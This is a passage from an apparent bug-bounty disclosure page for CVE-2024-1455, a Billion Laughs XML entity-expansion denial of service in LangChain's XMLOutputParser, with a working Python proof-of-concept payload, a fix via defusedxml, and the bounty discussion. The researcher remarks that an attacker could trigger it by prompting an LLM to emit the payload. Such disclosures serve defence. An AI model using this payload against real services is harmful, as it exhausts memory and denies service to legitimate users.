

Billion laughs vulnerability that leads to DOS in langchain-ai/langchain

✓ Valid

Reported on Feb 2nd 2024

Description

A Billion Laughs Attack is a type of XML External Entity (XXE) vulnerability that exploits the XML parsing process. It works by nesting multiple layers of entities within an XML document, causing the XML parser to consume an excessive amount of CPU and memory resources as it attempts to resolve and expand these entities. This excessive resource usage can lead to a denial of service (DoS) attack, severely impacting the availability and performance of the affected system.

Proof of Concept

```
// PoC.py
from langchain.output_parsers import XMLOutputParser

payload="""<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ELEMENT lolz (#PCDATA)>
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>"""

parser = XMLOutputParser()

parser.parse(payload)
```

The above above POC will use around 3GB of ram (increase the number of entities for more ram usage)

The screenshot displays two windows from a Linux desktop environment.

System Monitor Window:

- Process Name:** A list of running processes including python, cinnamon, gnome-system-monitor, gnome-terminal-server, caribou, nm-applet, dbus-daemon, bash, csd-power, cinnamon-screensaver, applet.py, gvfs-disks2-volume-monitor, csd-housekeeping, dbus-daemon, gvfsd-metadata, mintUpdate, xdg-desktop-portal-gtk, gvfsd, at-spi-keyboard, at-spi2-registrtyd, gvfsd-network, at-spi-bus-launcher, xdg-desktop-portal, gvfsd-trash, pulseaudio, gvfsd-dnssd, csd-media-keys, and xsrandr.
- User:** All processes are running under the user 'anis'.
- % CPU:** The 'python' process is highlighted with a red box, showing 24% CPU usage.
- ID:** The 'python' process has ID 56815.
- Memory:** The 'python' process is using 2.9 GiB of memory, also highlighted with a red box.
- Disk read total:** The 'python' process has read 32.0 MiB.

Code Review Application Window:

- Terminal Output:**

```

anis@na3na3: ~/codereview$ cat langchain_billionLaughs.py
from langchain.output_parsers import XMLOutputParser

payload="""<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>"""

parser = XMLOutputParser()

parser.parse(payload)
anis@na3na3:~/codereview$ python langchain_billionLaughs.py

```

This vulnerability can be fixed by using `defusedxml.ElementTree` instead of `xml.etree.ElementTree` in [Line](#)

After Fix

```
anis@na3na3:~/codereviews$ python billionLaughs_poc.py
Exception: EntitiesForbidden(name='lol', system_id=None, public_id=None)
anis@na3na3:~/codereviews$
```

A successful Billion Laughs Attack can lead to a denial of service (DoS) condition, where the affected system becomes unresponsive or significantly slowed down due to the excessive resource consumption. This can severely impact the availability and performance of the target system, potentially causing it to become unavailable to legitimate users and hampering regular business operations.

⚙️ We are processing your report and will contact the **langchain-ai/langchain** team within 24 hours. 2 years ago

✉️ We have contacted a member of the **langchain-ai/langchain** team and are waiting to hear back 2 years ago



↑ Oxanis submitted a patch 2 years ago



✎ Oxanis modified the report 2 years ago



✎ A **langchain-ai/langchain** maintainer modified the Severity from High (7.5) to Medium (5.9) 2 years ago

✉️ We have sent a follow up to the **langchain-ai/langchain** team. We will try again in 4 days. 2 years ago



Oxanis commented 2 years ago

Researcher

Hi langchain Team, can you explain why you changed the attack complexity from **low** to **high** even though attack vector is easy , the attacker will need only a simple prompt to exploit this vulnerability



✎ Oxanis modified the report 2 years ago



✎ A **langchain-ai/langchain** maintainer modified the Severity from High (7.5) to Medium (5.9) 2 years ago



A **langchain-ai/langchain** maintainer commented 2 years ago

Maintainer

Because it depends on a lot of things beyond the attackers control:

- Network access to an endpoint
- The endpoint must use an agent with an XML parser
- The LLM must be used manipulated to generate an input into the XML parser which is the malicious payload



A **langchain-ai/langchain** maintainer has acknowledged this report 2 years ago

✎ The scheduled publication date was automatically extended from 19th Mar 2024 to 26th Mar 2024 due to the maintainers acknowledgement of the report 2 years ago



A **langchain-ai/langchain** maintainer commented 2 years ago

Maintainer

Would you mind submitting your patch as PR so we can merge and accept your patch?



Oxanis commented 2 years ago

Researcher

Hi yeah sure no problem , here's the pull request <https://github.com/langchain-ai/langchain/pull/17250>



Oxanis commented 2 years ago

Researcher

just make sure to give me the fix bounty



Eugene Yurtsev commented 2 years ago

Maintainer

We grant fix bounties depending on how close the fix is to being mergeable; i.e., we know about diffusedxml. The patch should actually incorporate differences between diffusedxml and built in library to make the underlying code work correctly. After looking more closely at the PR I suspect that there's more work to be done (it's not just updating the poetry files).



Oxanis commented 2 years ago

Researcher

Hi , any updates ?

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



✓ **Eugene Yurtsev** validated this vulnerability 2 years ago

\$ **Oxanis** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

👤 **CVE-2024-1455** assigned to this report. 2 years ago



Eugene Yurtsev commented 2 years ago

Maintainer

@Oxanis apologies I thought I had already accepted -- thanks for the reminder

For the patch bounty, we'll probably make an exception in this case and grant it, even though the PR is far from providing a working patch.

What we'd ideally like to see in the future:

- Unit tests passing (we don't care about linters, we can do the linting ourselves, but we do care about unit tests passing)
- New unit tests added to cover the vulnerability, so there are no regressions



Oxanis commented 2 years ago

Researcher

Hi Eugene , Noted ! next time i will make sure unit tests passing and add new units to cover the vulnerability Thanks for making the exception this time i appreciate it



Oxanis commented 2 years ago

Researcher

Hi , any update on the fix ?



Eugene Yurtsev commented 2 years ago

Maintainer

No fix has been merged yet



Oxanis commented 2 years ago

Researcher

hi again ... any update ?

⚠ We have sent a warning to the **langchain-ai/langchain** team to inform them that this report will be published in 48 hours 2 years ago



This vulnerability has now been published 2 years ago



CVE-2024-1455 has now been published 2 years ago



Eugene Yurtsev marked this as fixed in **0.1.35** with commit **727d50** 2 years ago



The fix bounty has been dropped ✖



Eugene Yurtsev commented 2 years ago

Maintainer

@Oxanis I was unable to apply a fix bounty likely because the fix is after publication



Pavlos marked this as fixed in **0.1.35** with commit **727d50** 2 years ago



Oxanis has been awarded the fix bounty ✔

Jorge commented 2 years ago

I believe the fix version was 0.1.17

[Sign in](#) to join this conversation

CVE
CVE-2024-1455
Published

Vulnerability Type
CWE-776: XML Entity Expansion

Severity
Medium (5.9)

Attack vector	Network
Attack complexity	High
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

[Open in visual CVSS calculator](#) 

Registry
Pypi

Affected Version
0.1.4

Visibility
Public

Status
Fixed

Disclosure Bounty
\$125

Fix Bounty
\$31.25

Found by



Oxanis
@Oxanis

MIDDLEWEIGHT



Fixed by



Oxanis
@Oxanis

MIDDLEWEIGHT





© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)